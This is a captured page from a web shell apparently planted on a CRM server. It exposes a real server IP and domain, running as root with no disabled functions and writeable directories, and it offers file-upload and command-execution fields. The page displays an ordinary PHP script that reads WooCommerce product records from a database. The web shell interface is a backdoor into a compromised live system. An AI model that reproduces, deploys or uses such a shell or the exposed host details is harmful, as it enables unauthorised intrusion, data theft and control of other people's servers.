403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mequitecbeta.crmtiger.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mequitecbeta.crmtiger.com/ProductsHandler.php
<?php

require_once('data/CRMEntity.php');
include_once 'include/utils/VtlibUtils.php';
require_once('include/utils/utils.php');

class ProductCreationHandler{

function process(){
	
	global $adb;
	$all_products = $this->getAllProducts();

	echo "<pre>";print_r($all_products);exit;

}


function getAllProducts(){
	global $adb;
	$sql = "SELECT * FROM `woocommerce_products` WHERE processed = ? LIMIT 1";
	$result = $adb->pquery($sql,array(0));
	$no_of_rows = $adb->num_rows($result);
	$data = array();
	if($no_of_rows > 0){
	   for($i=0;$i<$no_of_rows;$i++){
	     $wp_id = $adb->query_result($result,$i,'wp_product_id');
	     $productname = $adb->query_result($result,$i,'productname');
	     $unit_price = $adb->query_result($result,$i,'unit_price');
	     $purchase_cost = $adb->query_result($result,$i,'purchase_cost');
	     $data[] = array(
             'wp_id' => $wp_id,
              'productname' => $productname,
               'unit_price' => $unit_price,
                'purchase_cost' => $purchase_cost,

	     );
	   }
	}

	return $data;
}

	

}

$handler = new ProductCreationHandler();
$handler->process();


Youez - 2016 - github.com/yon3zu
LinuXploit